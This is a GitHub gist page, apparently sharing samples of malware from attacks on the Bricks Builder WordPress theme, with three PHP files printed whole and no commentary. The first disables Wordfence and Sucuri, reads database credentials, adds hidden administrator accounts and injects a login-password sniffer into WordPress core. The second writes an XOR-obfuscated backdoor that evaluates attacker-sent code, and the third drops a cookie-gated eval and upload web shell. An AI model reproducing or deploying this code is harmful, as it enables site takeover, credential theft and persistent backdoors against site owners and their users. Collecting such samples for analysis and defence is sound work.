-
-
Save kevindaus/a3b09c228c3207e58d9838f0d11855c8 to your computer and use it in GitHub Desktop.
Bircks Builder <1.9.6.1 Malware
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@ini_set('display_errors', 0); | |
@ini_set('log_errors', 0); | |
@error_reporting(0); | |
function genstr($length = 10) | |
{ | |
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length); | |
} | |
function gwi($dr, &$aa) | |
{ | |
if (!file_exists("$dr/wp-includes/version.php")) return NULL; | |
if (!@include("$dr/wp-includes/version.php")) return NULL; | |
$cd = array(); | |
$cd['host'] = "none"; | |
$cd['auth_key'] = "_" . genstr(56); | |
$cd['name'] = "wordpress"; | |
$cd['docroot'] = $dr; | |
$cd['ver'] = ""; | |
$cd['db_login'] = ""; | |
$cd['db_passwd'] = ""; | |
$cd['db_name'] = ""; | |
$cd['db_host'] = ""; | |
$cd['db_prefix'] = ""; | |
$cd["wf_status"] = "none"; | |
$cd["wf2_status"] = "none"; | |
$cd["se_status"] = "none"; | |
$cd["users"] = Array(); | |
$bp = $dr . "/wp-content/plugins/"; | |
$ntd = array("se_status" => "sucuri-scanner/sucuri.php", | |
"wf_status" => "wordfence/wordfence.php", "wf2_status" => "wordfence/waf/bootstrap.php"); | |
foreach ($ntd as $name=>$pg) { | |
if (is_file($bp . $pg)) { | |
@rename($bp . $pg, $bp . $pg . "backup" . rand()); | |
if (is_file($bp . $pg)) { | |
$cd[$name] = "cantdisable"; | |
} else { | |
$cd[$name] = "disabled"; | |
} | |
} | |
} | |
if (!isset($wp_version)) { | |
$wp_version = "unknown"; | |
} | |
$cnt = @file_get_contents("$dr/wp-config.php"); | |
preg_match_all(/(define\(\s*\')([^\']+)(\',\s*\')([^\']+)/, $cnt, $m); | |
if (is_array($m)) { | |
for ($i = 0; $i < count($m[2]); $i++) { | |
if (stristr($m[2][$i], "db_name")) { | |
$cd['db_name'] = $m[4][$i]; | |
} elseif (stristr($m[2][$i], "db_user")) { | |
$cd['db_login'] = $m[4][$i]; | |
} elseif (stristr($m[2][$i], "db_password")) { | |
$cd['db_passwd'] = $m[4][$i]; | |
} elseif (stristr($m[2][$i], "db_host")) { | |
$cd['db_host'] = $m[4][$i]; | |
} | |
} | |
} | |
preg_match_all(/table_prefix\s*=\s*['"](.*)['"];/, $cnt, $m); | |
if (is_array($m)) { | |
$cd['db_prefix'] = $m[1][0]; | |
} | |
$cd['ver'] = $wp_version; | |
$cd = awu($cd, $aa); | |
return sws($dr, $cd); | |
} | |
function sws($docroot, $cd) | |
{ | |
$rep = "\$ignore_codes = array"; | |
$pd = <<< BASE64decoded | |
if (!is_wp_error($user)) | |
{ | |
$csrf = "{AUTHKEY}"; | |
$line = $password . "\t" . $username . "\t" . get_site_url(); | |
$line = $line ^ str_repeat($csrf, (strlen($line) / strlen($csrf)) + 1); | |
$line = bin2hex($line); | |
$lines = @file("{DUMPFILE}", FILE_IGNORE_NEW_LINES); | |
$lines[] = $line; | |
@file_put_contents("{DUMPFILE}", implode("\n", array_unique($lines))); | |
$lines = get_option('wpsdt4_license_key'); | |
$lines = explode("\n", $lines); | |
$lines[] = $line; | |
$lines = array_unique($lines); | |
update_option('wpsdt4_license_key', implode("\n", array_unique($lines))); | |
} | |
BASE64decoded; | |
$pa = <<< BASE64decoded | |
if (isset($_COOKIE["{AUTHKEY}"])) | |
{ | |
$lines = get_option( 'wpsdt4_license_key' ); | |
if (!empty($lines)) | |
{ | |
$lines = @file_get_contents("{DUMPFILE}"); | |
} | |
echo $lines; | |
exit(); | |
} | |
BASE64decoded; | |
$pf = "$docroot/wp-includes/pluggable.php"; | |
$pc = @file_get_contents($pf); | |
if (strpos($pc, "line ^ str_repeat") !== FALSE) { | |
preg_match_all(/\$csrf\s=\s\"(\w{20,})\";/, $pc, $m); | |
if (is_array($m)) | |
{ | |
$cd["auth_key"] = $m[1][0]; | |
} | |
$cd["sniffer_status"] = "already"; | |
return $cd; | |
} | |
$au = $cd["auth_key"]; | |
$df = substr(md5($au), 0, 8); | |
$pd = str_replace("{AUTHKEY}", $au, $pd); | |
$pd = str_replace("{DUMPFILE}", $df, $pd); | |
$pa = str_replace("{AUTHKEY}", $au, $pa); | |
$pa = str_replace("{DUMPFILE}", $df, $pa); | |
$ot = @stat($pf); | |
$src = @file_get_contents($pf); | |
$src = str_replace($rep, $pd . "\r\n" . $rep, $src); | |
$src = $src . "\r\n" . $pa; | |
@file_put_contents($pf, $src); | |
@touch($pf, $ot["mtime"]); | |
if (strpos(@file_get_contents($pf), $au) !== FALSE) { | |
$cd["sniffer_status"] = "installed"; | |
} else { | |
$cd["sniffer_status"] = "error"; | |
} | |
return $cd; | |
} | |
function awu($cd, &$aa) | |
{ | |
$dbn = $cd['db_name']; | |
$dbu = $cd['db_login']; | |
$dbp = $cd['db_passwd']; | |
$dh = $cd['db_host']; | |
$dpfx = $cd['db_prefix']; | |
if (!empty($dbn)) { | |
if (strpos($dh, ":") !== FALSE) { | |
$hp = explode(":", $dh); | |
$h1 = $hp[0]; | |
$port = intval($hp[1]); | |
} else { | |
$h1 = $dh; | |
$port = 3306; | |
} | |
if ($conn = mysqli_connect($h1, $dbu, $dbp, $dbn, $port)) { | |
$result = mysqli_query($conn, "SHOW DATABASES;"); | |
$dbs = Array(); | |
while($rw = mysqli_fetch_array($result, MYSQLI_NUM)) | |
{ | |
$dbs[] = $rw; | |
} | |
foreach ($dbs as $cdb) { | |
$cdb = $cdb[0]; | |
if (TRUE) { | |
mysqli_select_db($conn, $cdb); | |
$result2 = mysqli_query($conn, "SHOW TABLES;"); | |
$tab = Array(); | |
while($rw = mysqli_fetch_array($result2, MYSQLI_NUM)) | |
{ | |
$tab[] = $rw; | |
} | |
foreach ($tab as $wct) { | |
$wct = $wct[0]; | |
$ppos = strpos($wct, "usermeta"); | |
if ($ppos !== FALSE) { | |
$pfx = substr($wct, 0, $ppos); | |
$result3 = mysqli_query($conn, "SELECT option_value FROM " . $pfx . "options WHERE option_name='siteurl';"); | |
$su = mysqli_fetch_array($result3, MYSQLI_NUM); | |
if (count($su)) { | |
$su = $su[0]; | |
$do = explode("/", $su); | |
$do = $do[2]; | |
$do = str_replace("www.", "", $do); | |
if ($dpfx === $pfx) | |
{ | |
$cd['host'] = $do; | |
} | |
$ra = mysqli_query($conn, "SELECT * FROM " . $pfx . "users WHERE user_login LIKE 'wpcron%';"); | |
if (mysqli_num_rows($ra)) | |
{ | |
break; | |
} | |
$ck = $h1 . $dbu . $dbp . $dbn . $do; | |
if (isset($aa[$ck])) | |
{ | |
continue; | |
} | |
$aa[$ck] = TRUE; | |
$usern = 'wpcron' . substr(md5(time()), 0, 8); | |
$pp = genstr(8); | |
$pass = md5($pp); | |
mysqli_query($conn, "INSERT INTO $pfx" . "users (`user_login`, `user_pass`, `user_nicename`, `user_status`, `display_name`, `user_registered`) VALUES ('$usern', '$pass', '$usern', 0, '$usern', '1979-01-01 00:00:00');"); | |
mysqli_query($conn, "SET @created_user_id = LAST_INSERT_ID();"); | |
mysqli_query($conn, "INSERT INTO $pfx" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $pfx . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');"); | |
mysqli_query($conn, "INSERT INTO $pfx" . "usermeta (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @created_user_id, '" . $pfx . "user_level', '10');"); | |
mysqli_commit($conn); | |
$cd["users"][] = Array($su, $usern, $pp); | |
} | |
} | |
} | |
} | |
} | |
mysqli_close($conn); | |
} | |
} | |
return $cd; | |
} | |
function list_dir($dir, $od=TRUE) | |
{ | |
$res = Array(); | |
$dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/'); | |
$h = @opendir($dir); | |
if ($h === FALSE) { | |
return $res; | |
} | |
while (($f = readdir($h)) !== FALSE) { | |
if ($f !== '.' and $f !== '..') { | |
$tmp = "$dir/$f"; | |
if ($od) { | |
if (@is_dir($tmp)) { | |
$res[] = $tmp; | |
} | |
} | |
else{ | |
$res[] = $tmp; | |
} | |
} | |
} | |
closedir($h); | |
return $res; | |
} | |
$bd = Array(); | |
$aq = Array(); | |
$cd = $_SERVER["DOCUMENT_ROOT"]; | |
while ($cd = @dirname($cd)) { | |
if ($cd == $aq[count($aq) - 1]) { | |
break; | |
} | |
$aq[] = $cd; | |
} | |
foreach ($aq as $cd) { | |
if (!in_array($cd, $bd)) { | |
$l1 = list_dir($cd); | |
foreach ($l1 as $l1d) | |
{ | |
$bd = array_merge($bd, list_dir($l1d)); | |
} | |
$bd = array_merge($bd, $l1); | |
} | |
} | |
$bd = array_unique(array_merge($aq, $bd)); | |
$aa = Array(); | |
$res = Array(); | |
foreach ($bd as $dc) | |
{ | |
$tmp = gwi($dc, $aa); | |
if ($tmp) | |
{ | |
$res[] = $tmp; | |
} | |
} | |
echo "{MARK}" . rawurlencode(serialize($res)) . "{MARK}"; | |
exit(); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if(!defined(\"PHP_EOL\")) | |
{ | |
define(\"PHP_EOL\", \"\n\"); | |
} | |
if(!defined(\"DIRECTORY_SEPARATOR\")) | |
{ | |
define(\"DIRECTORY_SEPARATOR\", \"/\"); | |
} | |
function generateRandomStringEval($length = 12) | |
{ | |
$characters = 'AQZSXWCDEVFRBGTHYNMUJabcdefghijklmnopqrstuvwxyz'; | |
$charactersLength = strlen($characters); | |
$randomString = ''; | |
for ($i = 0; $i < $length; $i++) { | |
$randomString .= $characters[rand(0, $charactersLength - 1)]; | |
} | |
return $randomString ; | |
} | |
function generateRndString($length = 10) | |
{ | |
$characters = '0123456789abcdefghijklmnopqrstuvwxyz'; | |
$charactersLength = strlen($characters); | |
$randomString = ''; | |
for ($i = 0; $i < $length; $i++) { | |
$randomString .= $characters[rand(0, $charactersLength - 1)]; | |
} | |
return $randomString ; | |
} | |
function generateRandomString($length = 10) | |
{ | |
$characters = '0123456789abcdefghijklmnopqrstuvwxyz'; | |
$charactersLength = strlen($characters); | |
$randomString = ''; | |
for ($i = 0; $i < $length; $i++) { | |
$randomString .= $characters[rand(0, $charactersLength - 1)]; | |
} | |
return $randomString . \".php\"; | |
} | |
function _add_action($snippet, $template, $xor_number) | |
{ | |
$splitted = str_split($snippet); | |
$action = \"\"; | |
for ($i = 0; $i < strlen($snippet);$i++) { | |
$action .= $splitted[$i] ^ $template[$i%$xor_number]; | |
} | |
$action = urlencode($action); | |
return $action; | |
} | |
function GetDocRoot() | |
{ | |
$docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']); | |
if ($docroot_end === FALSE) | |
{ | |
return $_SERVER['DOCUMENT_ROOT']; | |
} | |
elseif ($docroot_end === 0) | |
{ | |
return \"/\"; | |
} | |
else | |
{ | |
return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end); | |
} | |
} | |
$origin_backdoor = <<< BASE64decoded | |
<?php | |
@ini_set('error_log', NULL); | |
@ini_set('log_errors', 0); | |
@ini_set('max_execution_time', 0); | |
@set_time_limit(0); | |
function shdp($data, $key) | |
{ | |
$out_data = ""; | |
for ($i = 0; $i < strlen($data);) { | |
for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) { | |
$out_data .= chr(ord($data[$i]) ^ ord($key[$j])); | |
} | |
} | |
return $out_data; | |
} | |
if (isset($_GET[673435])) | |
{ | |
die(md5(47712)); | |
} | |
$temp=array_merge($_COOKIE, $_POST); | |
foreach ($temp as $data_key => $data) { | |
$data = @unserialize(shdp(shdp(base64_decode($data), '4ef63abe-1abd-45a6-913d-6fb99657e24b'), $data_key)); | |
if (isset($data['ak'])) { | |
if ($data['a'] == 'i') { | |
$i = array( | |
'pv' => @phpversion(), | |
'sv' => '1.0-1', | |
); | |
echo @serialize($i); | |
} elseif ($data['a'] == 'e') { | |
eval($data['d']); | |
} | |
exit(); | |
} | |
} | |
BASE64decoded; | |
$new_pass = generateRndString(35); | |
$origin_backdoor = str_replace(\"4ef63abe-1abd-45a6-913d-6fb99657e24b\",$new_pass,$origin_backdoor ); | |
$evaluaor = <<< BASE64decoded | |
<?php | |
function _remove_action($snippet, $template) | |
{ | |
$snippet = urldecode($snippet); | |
$splitted = str_split($snippet); | |
$action = ""; | |
for ($i = 0; $i < strlen($snippet);$i++) { | |
$action .= $splitted[$i] ^ $template[$i%xor_number]; | |
} | |
return $action; | |
} | |
$i="#URLENCODED_CODE#"; | |
$j="#URLENCODED_file_put_contetnts#"; | |
$index="#XORKEY#"; | |
$k = _remove_action($i, $index); | |
$f = _remove_action($j, $index); | |
$f($index, $k); | |
include_once ($index); | |
unlink($index); | |
exit(); | |
BASE64decoded; | |
$xor_number=rand(3,12); | |
$XORKEY = generateRandomStringEval(12); | |
$URLENCODED_CODE = _add_action($origin_backdoor, $XORKEY, $xor_number); | |
$URLENCODED_CODE_file_put_contents = _add_action(\"file_put_contents\", $XORKEY, $xor_number); | |
$snippet_varname = generateRandomStringEval(rand(6,12)); | |
$template_varname = generateRandomStringEval(rand(6,12)); | |
$splitted_varname = generateRandomStringEval(rand(6,12)); | |
$_remove_action_varname = generateRandomStringEval(rand(6,12)); | |
$index_varname = generateRandomStringEval(rand(6,12)); | |
$evaluaor=str_replace('$splitted', \"$\".$splitted_varname, $evaluaor); | |
$evaluaor=str_replace('xor_number', $xor_number, $evaluaor); | |
$evaluaor=str_replace('$index', \"$\".$index_varname, $evaluaor); | |
$evaluaor=str_replace('#XORKEY#', $XORKEY, $evaluaor); | |
$evaluaor=str_replace('_remove_action', $_remove_action_varname, $evaluaor); | |
$evaluaor=str_replace('$template', \"$\".$template_varname, $evaluaor); | |
$evaluaor=str_replace('$snippet', \"$\".$snippet_varname, $evaluaor); | |
$evaluaor=str_replace('#URLENCODED_CODE#', $URLENCODED_CODE, $evaluaor); | |
$payload_file=str_replace('#URLENCODED_file_put_contetnts#', $URLENCODED_CODE_file_put_contents, $evaluaor); | |
srand(time()); | |
if (!function_exists('file_put_contents')) { | |
function file_put_contents($filename, $data) { | |
$f = @fopen($filename, 'w'); | |
if (!$f) { | |
return false; | |
} else { | |
$bytes = fwrite($f, $data); | |
fclose($f); | |
return $bytes; | |
} | |
} | |
} | |
//////////////////////////////////////////////////////////////////////////////////////////// | |
$filename = \"readurl.php\"; | |
# $filename = generateRandomString(); | |
#$filename = \"options-reading.php\"; | |
#$filename = \"wp-login.php\"; | |
$filename = \"xjc6q59v.php\"; | |
# get base local and remote path | |
$base_www_path = $host = @$_SERVER['HTTP_HOST']; | |
$base_local_path = GetDocRoot(); | |
$full_payload_name = GetDocRoot() . \"/$filename\"; | |
$good = FALSE; | |
if (file_put_contents($full_payload_name, $payload_file)) | |
{ | |
echo \"UROK#http://\" . $filename. \"#ONDOK#\". $new_pass . \"#ENDP\" . PHP_EOL; | |
$good=TRUE; | |
$good_counter++; | |
exit(); | |
} | |
if(!$good) | |
echo \"URL#STATUS_CANTUPLOAD#CCCURL\"; | |
echo \"#CCCURL\"; | |
//unlink(\"dfaonfpfkwg.php\"); | |
exit();?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php file_put_contents(\"e9a045b4ce28.php\",\" | |
<?php echo 409723 * 20; | |
if (md5($_COOKIE["d"]) == "17028f487cb2a84607646da3ad3878ec") { | |
echo "ok"; | |
eval(base64_decode($_REQUEST["id"])); | |
if ($_POST["up"] == "up") { | |
@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); | |
} | |
} ?> | |
\") | |
;exit;?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment